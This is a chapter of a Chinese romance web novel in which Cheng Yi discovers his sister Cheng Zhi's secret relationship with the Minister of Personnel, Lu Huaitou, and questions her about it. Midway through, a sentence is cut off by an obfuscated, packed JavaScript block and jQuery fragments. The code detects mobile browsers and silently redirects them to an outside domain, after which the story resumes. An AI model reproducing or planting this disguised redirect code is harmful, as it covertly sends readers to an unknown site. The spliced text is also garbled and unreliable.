53. 第 53 章
作品:《女探花》 来人正是程翊。
程翊刚从另一雅间谈完事出来,没想到能在这里遇见程知,更没想到程知跟一个陌生男子紧握双手,那依偎的模样说是眷侣都不为过。
他脑中顿时闪过一个念头,程知竟在此处与男子私会!
两人双手紧握,姿态亲昵,程翊不敢置信,“程知!”
程知脸色煞白,“哥……哥。”
她声音忍不住哆嗦,她也没想到程翊会出现在这里。这里是金玉楼最神秘的地方,依照程家的情况,是进不来的。想来程翊是来办事,这才进得来。
兄妹二人都没想过会在此处见到对面。
四目相对,一个是惊慌失措,一个是气愤交加。
看见程翊脸上的生气,程知立刻甩开陆怀骰的手,素来沉稳和惯于娇俏的脸庞浮现了难有的害怕。
陆怀骰感觉掌中一空,再看程知吓得苍白的脸,心下不悦,却因对方是程知敬重的兄长而按捺下来。
他下意识又想伸手去握程知的手,想安慰程知的惊慌,却被程知慌乱躲开,不由微微蹙眉。他上前半步,不着痕迹地将程知护在身后。
看向程翊,他目光坦然,习惯带着一丝上位者的姿态审视。
而程翊的震惊过后,目光凌厉扫向陆怀骰,毫不掩饰的打量陆怀骰。
虽然不知陆怀骰的底细,但能出入金玉楼十大雅间,程翊能猜得出陆怀骰绝非一般的富家公子。
看自家小妹的情况,分明是自愿的,程翊气得脸黑,压着不断翻涌的胸口,“程知,过来!”
程知不敢看陆怀骰,害怕地走向程翊。
素来自视甚高的陆怀骰,何曾受过这样的冷眼和无视?若非看在程知面上,他岂会容忍?
程翊恨铁不成钢瞪了一眼自家小妹,抓住她的手腕便要带她离开。
“程大少爷,你吓到程知了。”陆怀骰出声阻拦。
程翊冷哼,并不畏惧陆怀骰,反问道:“程某管教自家小妹,不知阁下有何指教?”
程知在程翊身后,冲着陆怀骰摇头,希望陆怀骰不要跟程翊起冲突。
陆怀骰接收程知的眼神,心疼她夹在中间为难,硬生生将辩驳的话咽了回去,只是面色更沉了几分。
两人的眉目传情被程翊发觉,他气笑,松开程知的手,“程知,是留是走,你自己选。”声音要比之前冷静许多,却让人更觉得心惊。
说完,他自信瞥了一眼陆怀骰。告诉陆怀骰,他无需强带走程知,程知也会跟着他回去。
他再看了一眼程知,头也不回离开。
陆怀骰何曾受过这样的气?胸口憋屈,却因为程知忍了下来。
“我哥哥没有恶意,我……我先回去,改日再找你。”程知紧急拉着陆怀骰的袖口解释。她知道陆怀骰心高气傲,从未受过这等委屈,生怕哥哥惹恼了他,也怕他因此恼了哥哥。
话还没说完,程知转身去追程翊。
陆怀骰连忙跟上,握着程知冰冷的手掌,“程知,你自己回去,定然会受委屈。”
“不行,我哥哥看见你,肯定会更生气的。”程知着急推开,但力气拗不过陆怀骰。
“让你自己回去承受,我成什么了?”陆怀骰绝不会让程知一人去面对程家的怒火。
“哎呀,此刻不是逞英雄的时候,我哥哥最疼我了,不会把我怎样的。”程知急步走去,生怕看不见程翊的背影。
陆怀骰态度坚决,“若实在不行,我现在就去你家下聘礼?”
“你……”程知又急又烦,不知如何是好,不管陆怀骰跟不跟着。
在前方快走的程翊开始放慢脚步,侧耳听着身后的动静,听到妹妹跟来的脚步声,心下稍安。可一回头,竟见两人还在拉拉扯扯,顿时气血上涌,程翊恨不得自戳双眼,眼不见为净。
他突然的转身,吓得程知连忙推开陆怀骰。
陆怀骰又焦急又无奈。
程翊黑着脸,急匆匆走向云鬓坊。
程知不去管陆怀骰,提起裙摆往云鬓坊小跑。
陆怀骰只能阴沉着脸,默不作声地紧随其后。
各自的随从皆面露难色,大气不敢喘,连忙跟上各自的主子。
好在金玉楼与云鬓坊相距不远,除了三人的随从,他们这情况并没有引起太多人的注意。
程知将陆怀骰拦在云鬓坊雅间门口,“你别进去了。”
陆怀骰无奈,强忍着硬闯的冲动,停在门外。
程知独自进了雅间,小心翼翼走近程翊,轻扯程翊的衣裳,“哥哥,你别生气,我害怕。”
“他是谁?”程翊沉着脸,知道那个男人在雅间门口,听得见兄妹的对话。
“他叫陆怀骰,是吏部尚书。”程知不敢隐瞒。
程翊惊诧!
吏部尚书,那可不是他们程家能攀附得起的权贵。
他猛地想起上次见程知从尚书马车下来的情形,再结合眼前的情景,一个最糟糕的猜想瞬间涌入脑海。
在他看来,程知与陆怀骰俨然私会已久,甚至……
一想到这里,程翊的怒火更盛。
纵然是吏部尚书,如此行事,亦是毁程知清誉。
程翊长叹了一口气,“兜兜,你是个有主意的人,你对自己的婚事有安排,哥哥一向是疼你的。可你不该如此行事,既误了自己的名声,也让家里人伤心。”
一听到“家里人”三字,程知吓得半死,声音都带着哭腔,“哥哥,你不要告诉爹爹娘亲,好不好?”
程翊狠心地抽回自己的衣裳,“怎么,现在知道怕了?”
跟男人厮混的时候怎么不知道怕?这话程翊差点骂出来,最后看着程知眼眶发红,他还是忍住了。
陆怀骰在门口气得握拳,为难程知比为难他还难受。
听到程知哭出声,陆怀骰忍不住走进去,“程大少爷既然要问罪,不如连陆某也一起审判。”
对着程翊,陆怀骰自称“陆某”,已是极大的让步。
倘若陆怀骰是以吏部尚书或者陆家公子的身份来,程翊多少要礼让几分。但眼前的陆怀骰作为程知的私会对象,程翊并没有给他好脸色,“陆尚书,我程家在处理家事,不劳您指手画脚!”
“陆某与程知情投意合,早有求娶之心,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273948|180831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日便会正式登门提亲。”陆怀骰表明自己的心意,会对程知负责。看着程知可怜模样,他压下所有的骄傲和脾气,言辞恳切,“程知常说她有位疼爱她的兄长,还望程大少爷莫要迁怒于她。一切皆因陆某而起。”
陆怀骰的示弱,是程知没想到的。
她虽认识陆怀骰的时间不多,但她清楚陆怀骰心性高傲无比。
不仅程知震惊,正在雅间门口的青梧青松兄弟面面相觑,在彼此的眼里看到的满是不可思议。
自他们兄弟有记忆以来,陆怀骰一向是骄傲自负。别说在陆家英国公府,就算是在皇宫,陆怀骰从未怵过谁。可陆怀骰现在放低姿态说话,他们作为下属也觉得难受。
程翊自然知道,依照陆怀骰的家世,无需这般低声下气,眼底闪过一丝惊讶。但仍不能抚平程翊的怒意,“陆尚书既知需父母之命,为何行事如此孟浪,毁她清誉?”
“哥哥,是我不让。”程知着急解释,是她不愿让陆怀骰去求亲。
可程翊不听解释,厉声呵斥,“你闭嘴!”
无论如何,没有父母之命媒妁之言,便是名不正言不顺。陆怀骰既然清楚这一点,便不能有此行径。
好在今日是程翊看见,若换成他人,程知、程家清誉扫地,必然会影响程知的科考。
对于陆怀骰,程翊没有任何管制的权力,“陆大人,我程家需要处理些家事,还请您回避。”
程知对着路怀骰点点头,眼神示意他先走,免得事情闹得不可收拾。
陆怀骰虽不忍离开,但不想让程知为难担心,无力地松开拳头,“我一直都在。”
程知微微点头,不敢声张,表示自己知道了。
两人中间隔着程翊,眼神依依不舍分离。
唯有程翊,听着这无声的告别,怒火中烧,硬是偏过头去,眼不见为净。
待陆怀骰离开,房间又恢复安静。
程翊寻了一把椅子坐下,抬眼看看程知,见她伤心低着头,温声道:“过来坐下。”
程知慢步挪过去,轻轻落座。
“你们在一起多久了?”程翊尽量让自己的声音听起来平稳些。
“秋闱之前。”
算起来,也有两个月的时间了。
“前些日子,景明引荐你去拜会的那位老师,你可去了?”程翊虽不走仕途,但仍关心程知的科考情况。
“去了。”程知是对陆怀骰有好感,却万万不敢因此荒废学业、自毁前程。恰逢今日休沐,在陆顺多待了一会,这才被发现了。
程翊点着头,倒还不算无可救药,“你对他家里的情况,可有了解?”
“他有位姐姐,待他很好。他生母早逝,是祖母和姐姐照拂长大。”程知悉数告知。
“就这些?”程翊的眉头再次紧锁,“那你可知,陆家内里关系盘根错节。他那位继母,那些异母的弟妹,有多少双眼睛正盯着他,盼着他行差踏错,好夺那家主之位。他年岁早已过适婚,为何至今未有妻室?这其中牵扯多少利害关节,你可曾想过?”
被连环反问,程知愣住了。她对陆怀骰的了解,知之甚少。